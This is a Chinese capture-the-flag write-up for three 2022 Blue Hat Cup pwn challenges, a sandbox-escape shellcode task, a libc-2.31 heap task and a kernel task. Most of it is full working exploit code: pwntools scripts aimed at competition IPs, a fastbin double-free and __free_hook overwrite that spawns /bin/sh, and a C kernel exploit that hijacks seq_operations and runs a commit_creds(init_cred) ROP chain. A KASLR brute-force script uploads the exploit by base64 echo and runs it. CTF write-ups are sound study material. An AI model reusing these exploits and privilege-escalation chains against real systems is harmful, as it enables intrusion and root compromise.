蓝帽杯2022Pwn题WP

初赛

初赛名次16名,还算不错

EscapeShellcode

题目将flag内容读到bss段上后就关闭了文件并且进入了沙盒,沙盒中只允许read和write,加载沙盒后就可以执行输入在堆上的shellcode了。

执行shellcode前会将除了rip外的所有寄存器设为0xdeadbeefdeadbeef,这样我们就不能使用push pop call等汇编指令。

由于堆地址和bss段地址偏移范围相对固定,我们可以先用lea指令获取当前堆地址,然后向bss段大致跳转一次,然后输出所在位置的内容,再向前跳转0x1000,如此循环往复,就可以输出bss段上的flag内容

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context(arch='amd64')
context.log_level='debug'

_elf='./escape_shellcode'
_libc=''
_addr='47.94.194.27'
_port=43341

local=0

def getConn():
    if local==1:
        return process(_elf)
    else:
        return remote(_addr,_port)

def debug(p,cmd=None):
    if local==1:
        gdb.attach(p,cmd)
    pause()


p=getConn()
# pause()
debug(p,'b *$rebase(0x1367)')

shellcode="""
lea rbx, [rip-0xb1]
sub rbx,0x2a0
add rbx,0x120
sub rbx,0x100000

find_flag:
sub rbx,0x1000

print_flag:
mov rdi,1
xor rsi,rsi
add rsi,rbx
mov rdx,0x80
mov rax,1
syscall
jmp find_flag
"""

payload=asm(shellcode)
p.sendline(payload)
p.interactive()
#flag{9436fc2d-a75e-4da5-a4bd-71b6c9f6ef5d}

Bank

题目环境libc-2.31,可以泄露任意堆上的内容,可以任意free地址,每次可申请0x18大小的堆,可以realloc大小小于0x100的堆。

每次操作需要花费钱,我们初始有0x190的钱,需要存钱后通过转钱来操作堆,不过在存钱取钱的函数中存在逻辑漏洞,可以无限刷钱,这样就可以无限堆操作了。

在2.31环境中,我们可以利用fastbin doublefree&tcache stach来打free_hook。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context(arch='amd64')
#context.log_level='debug'

_elf='./Bank'
_libc='./libc-2.31.so'
_addr='39.107.108.120'
_port=38779

local=0

def getConn():
    if local==1:
        return process(_elf)
    else:
        return remote(_addr,_port)

def debug(p,cmd=None):
    if local==1:
        gdb.attach(p,cmd)
    pause()

def cmd(idx):
    if idx==0:
        p.sendlineafter('Click: ','Quit')
    if idx==2:
        p.sendlineafter('Click: ','Deposit')
    if idx==3:
        p.sendlineafter('Click: ','Transfer')
    if idx==4:
        p.sendlineafter('Click: ','Put')
    if idx==5:
        p.sendlineafter('Click: ','Login')
    if idx==6:
        p.sendlineafter('Click: ','Info')

def deposit(num):
    cmd(2)
    p.sendlineafter('How Much? ',str(num))

def put(num):
    cmd(4)
    p.sendlineafter('How Much? ',str(num))

def info():
    cmd(6)

def login(card,pwd):
    cmd(5)
    p.sendlineafter('Card Numbers: ',str(card))
    p.sendlineafter('Password: ',str(pwd))

def t2admin(num):
    cmd(3)
    p.sendlineafter('who? ','admin')
    p.sendlineafter('How much? ',str(num))

def t2hacker(num,ptr):
    cmd(3)
    p.sendlineafter('who? ','hacker')
    p.sendlineafter('How much? ',str(num))
    p.sendlineafter('Great!',str(ptr))

def t2guest(num,data):
    cmd(3)
    p.sendlineafter('who? ','guest')
    p.sendlineafter('How much? ',str(num))
    p.sendafter('data: ',data)

def t2ghost(num,size):
    cmd(3)
    p.sendlineafter('who? ','ghost')
    p.sendlineafter('How much? ',str(num))
    p.sendlineafter(':)\n',str(size))

def t2abyss(num,data):
    cmd(3)
    p.sendlineafter('who? ','abyss')
    p.sendlineafter('How much? ',str(num))
    p.sendline(str(data))


libc=ELF(_libc)
p=getConn()
login(1111111111,111111)
put(0x190)
for i in range(0x10):
    deposit(0x190)
for i in range(0x10):
    put(0x190)


for i in range(0x10):
    t2guest(6,'a'*0x10)

t2ghost(0xa+1,0x20)
for i in range(0x20):
    t2guest(6,'b'*0x10)
t2ghost(0xa+1,0x30)
t2admin(0x4a-5)

p.recvuntil('I think ')
heap_addr=int(p.recv(14),16)
log.info(hex(heap_addr))

for i in range(7):
   t2hacker(0x33,heap_addr+0x2b0+0x20*i)

t2hacker(0x33,heap_addr+0x2b0+0x20*7)
t2hacker(0x33,heap_addr+0x2b0+0x20*8)
t2hacker(0x33,heap_addr+0x2b0+0x20*7)

for i in range(0x7):
    t2guest(6,'c'*0x10)

t2guest(6,p64(heap_addr+0x2b0+0x20*9-0x10))
t2guest(6,'c'*0x10)
t2guest(6,'c'*0x10)
t2guest(6,p64(0)+p64(0x431))

t2hacker(0x33, heap_addr+0x3d0)
t2admin(0x140/8)

p.recvuntil('I think ')
libc_base=int(p.recv(14),16)-libc.sym['__malloc_hook']-0x10-96
log.info(hex(libc_base))

t2guest(6,'/bin/sh\x00')

for i in range(7):
   t2hacker(0x33,heap_addr+0x2b0+0x20*i)

t2hacker(0x33,heap_addr+0x2b0+0x20*7)
t2hacker(0x33,heap_addr+0x2b0+0x20*8)
t2hacker(0x33,heap_addr+0x2b0+0x20*7)

for i in range(0x7):
    t2guest(6,'d'*0x10)
t2guest(6,p64(libc_base+libc.sym['__free_hook']))
t2guest(6,'d'*0x10)
t2guest(6,'d'*0x10)

t2guest(6,p64(libc_base+libc.sym['system']))

t2hacker(0x33,heap_addr+0x3d0)



p.interactive()

#flag{5ca01d35-f295-4813-9244-8588cb3c65bd}

半决赛

半决赛就一道kernel pwn ,很快找到了原题为2021西湖论剑线上初赛easykernel ,与原题的不同点在于没有读取功能,不能读到偏移,我们可以爆破kaslr,也可以使用官方题解中的方式泄露。

比赛时倒是爆破出了一次,只不过当时忘了设置爆破成功后直接输出flag,导致120s后容器重启了,悲😭。

后来本地爆破了大概一个小时,271次出了。。。

Smurf

#include <fcntl.h>
#include <stddef.h>
#include <stdlib.h>

#define COMMIT_CREDS 0xffffffff810c9540 
#define INIT_CRED 0xffffffff82a6b700 
#define POP_RDI_RET 0xffffffff8108c420 
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81c00fb0 

long dev_fd;

struct op_chunk
{
    size_t  idx;
    size_t  size;
    void    *buf;
};

struct alloc_chunk
{
    size_t  size;
    void    *buf;
};


void writeChunk(size_t idx, size_t size, void *buf)
{
    struct op_chunk op = 
    {
        .idx = idx,
        .size = size,
        .buf = buf,
    };
    ioctl(dev_fd, 0x50, &op);
}

void deleteChunk(size_t idx)
{
    struct op_chunk op = 
    {
        .idx = idx,
    };
    ioctl(dev_fd, 0x30, &op);
}

void allocChunk(size_t size, void *buf)
{
    struct alloc_chunk alloc = 
    {
        .size = size,
        .buf = buf,
    };
    ioctl(dev_fd, 0x20, &alloc);
}

size_t      buf[0x100];
size_t      swapgs_restore_regs_and_return_to_usermode;
size_t      init_cred;
size_t      pop_rdi_ret;
long        seq_fd;
void *      kernel_base = 0xffffffff81000000;
size_t      kernel_offset = 0;
size_t      commit_creds;
size_t      gadget;

int main(int argc, char ** argv, char ** envp)
{
    dev_fd = open("/dev/kernelpwn", O_RDWR);

    allocChunk(0x20, buf);
    deleteChunk(0);
    seq_fd = open("/proc/self/stat", O_RDONLY);

    kernel_offset = (argv[1]) ? atoi(argv[1]) : 0;
    kernel_base += kernel_offset;
    swapgs_restore_regs_and_return_to_usermode = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + kernel_offset;
    init_cred = INIT_CRED + kernel_offset;
    pop_rdi_ret = POP_RDI_RET + kernel_offset;
    commit_creds = COMMIT_CREDS + kernel_offset;
    gadget = 0xffffffff81499087 + kernel_offset; 

    buf[0] = gadget;
    swapgs_restore_regs_and_return_to_usermode += 9;
    writeChunk(0, 0x8, buf);

    __asm__(
        "mov r15, 0xbeefdead;"
        "mov r14, pop_rdi_ret;"
        "mov r13, init_cred;" // add rsp, 0x40 ; ret
        "mov r12, commit_creds;"
        "mov rbp, swapgs_restore_regs_and_return_to_usermode;"
        "mov rbx, 0x999999999;"
        "mov r11, 0x114514;"
        "mov r10, 0x666666666;"
        "mov r9, 0x1919114514;"
        "mov r8, 0xabcd1919810;"
        "xor rax, rax;"
        "mov rcx, 0x666666;"
        "mov rdx, 8;"
        "mov rsi, rsp;"
        "mov rdi, seq_fd;"
        "syscall"
    );

    system("/bin/sh");

    return 0;
}

爆破脚本

from pwn import *
import base64


with open("./exp", "rb") as f:
    exp = base64.b64encode(f.read())


try_count = 1
while True:
    log.info("no." + str(try_count) + " time(s)")
    p = remote("39.107.137.85", 15708)
    p.sendline()
    p.recvuntil("/ $")

    count = 0
    for i in range(0, len(exp), 0x200):
        p.sendline("echo -n \"" + exp[i:i + 0x200].decode() + "\" >> /tmp/b64_exp")
        count += 1
        # log.info("count: " + str(count))

    for i in range(count):
        p.recvuntil("/ $")
    
    randomization = (try_count % 1024) * 0x100000
    log.info('trying randomization: ' + hex(randomization))

    p.sendline("cat /tmp/b64_exp | base64 -d > /tmp/exploit")
    p.sendline("chmod +x /tmp/exploit")
    p.sendline("/tmp/exploit "+str(randomization))

    if not p.recvuntil(b"Rebooting in 1 seconds..", timeout=20):
        break
    log.warn('failed!')
    try_count += 1
    p.close()

context.log_level = "debug"
p.sendline("cat flag")
p.interactive()